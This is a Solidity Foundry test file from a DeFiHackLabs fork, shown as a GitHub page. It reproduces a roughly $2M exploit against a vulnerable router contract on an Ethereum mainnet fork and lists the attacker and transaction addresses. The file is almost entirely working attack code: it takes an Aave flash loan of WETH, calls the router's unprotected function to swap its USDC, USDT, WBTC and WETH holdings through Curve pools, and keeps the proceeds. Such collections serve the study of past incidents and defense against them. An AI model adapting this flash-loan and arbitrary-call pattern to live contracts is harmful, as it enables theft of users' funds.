forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
bot_exp.sol
91 lines (79 loc) · 3.93 KB
/
bot_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @KeyInfo - Total Lost : ~$2M
// Attacker : https://etherscan.io/address/0x46d9b3dfbc163465ca9e306487cba60bc438f5a2
// Attack Contract : https://etherscan.io/address/0xeadf72fd4733665854c76926f4473389ff1b78b1
// Vuln Contract : https://etherscan.io/address/0x05f016765c6c601fd05a10dba1abe21a04f924a5
// Attack Tx : https://explorer.phalcon.xyz/tx/eth/0xbc08860cd0a08289c41033bdc84b2bb2b0c54a51ceae59620ed9904384287a38
// @Analysis
// https://twitter.com/BlockSecTeam/status/1722101942061601052
interface ISmartVaultManagerV2{
function mint()external;
function swap(bytes32 _inToken, bytes32 _outToken, uint256 _amount) external;
}
interface ICurve{
function exchange(
uint256 i,
uint256 j,
uint256 dx,
uint256 min_dy
) external;
}
interface ISwapFlashLoan {
function flashLoan(address receiver, address token, uint256 amount, bytes memory params) external;
}
contract ContractTest is Test {
IAaveFlashloan aave = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);
address router = 0x05f016765c6C601fd05a10dBa1AbE21a04F924A5;
IERC20 usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IERC20 wbtc = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
IERC20 weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 usdt = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
ICurve firstCrvPool = ICurve(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7);
ICurve secondCrvPool = ICurve(0xD51a44d3FaE010294C616388b506AcdA1bfAAE46);
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
struct ExactInputSingleParams {
address tokenIn;
address tokenOut;
address recipient;
uint256 deadline;
uint256 amountIn;
uint256 amountOutMinimum;
uint160 limitSqrtPrice;
}
function setUp() public {
vm.createSelectFork("mainnet", 18523344 - 1);
cheats.label(address(weth),"WETH");
cheats.label(address(secondCrvPool),'Curve.fi: USDT/WBTC/WETH Pool');
}
function testExpolit()public{
emit log_named_decimal_uint("attacker balance before attack",weth.balanceOf(address(this)),weth.decimals());
aave.flashLoanSimple(address(this),address(weth),27255000000000000000000,new bytes(1), 0);
emit log_named_decimal_uint("attacker balance after attack",weth.balanceOf(address(this)),weth.decimals());
}
function executeOperation(
address asset,
uint256 amount,
uint256 premium,
address initator,
bytes calldata params
) external payable returns (bool){
weth.approve(address(aave),type(uint).max);
bytes4 vulnFunctionSignature = hex"f6ebebbb";
bytes memory data = abi.encodeWithSelector(vulnFunctionSignature, usdc.balanceOf(address(router)),0,address(usdc),address(usdt),address(firstCrvPool), 0,0);
(bool success,bytes memory result) = address(router).call(data);
data = abi.encodeWithSelector(vulnFunctionSignature, usdt.balanceOf(address(router)),0,address(usdt),address(weth),address(secondCrvPool), 0,0);
(success,result) = address(router).call(data);
data = abi.encodeWithSelector(vulnFunctionSignature, wbtc.balanceOf(address(router)),0,address(wbtc),address(weth),address(secondCrvPool), 0,0);
(success,result) = address(router).call(data);
weth.approve(address(secondCrvPool),type(uint).max);
secondCrvPool.exchange(2,1,weth.balanceOf(address(this)),0);
data = abi.encodeWithSelector(vulnFunctionSignature, weth.balanceOf(address(router)),0,address(weth),address(wbtc),address(secondCrvPool), 0,0);
(success,result) = address(router).call(data);
wbtc.approve(address(secondCrvPool),type(uint).max);
secondCrvPool.exchange(1,2,wbtc.balanceOf(address(this)),0);
return true;
}
}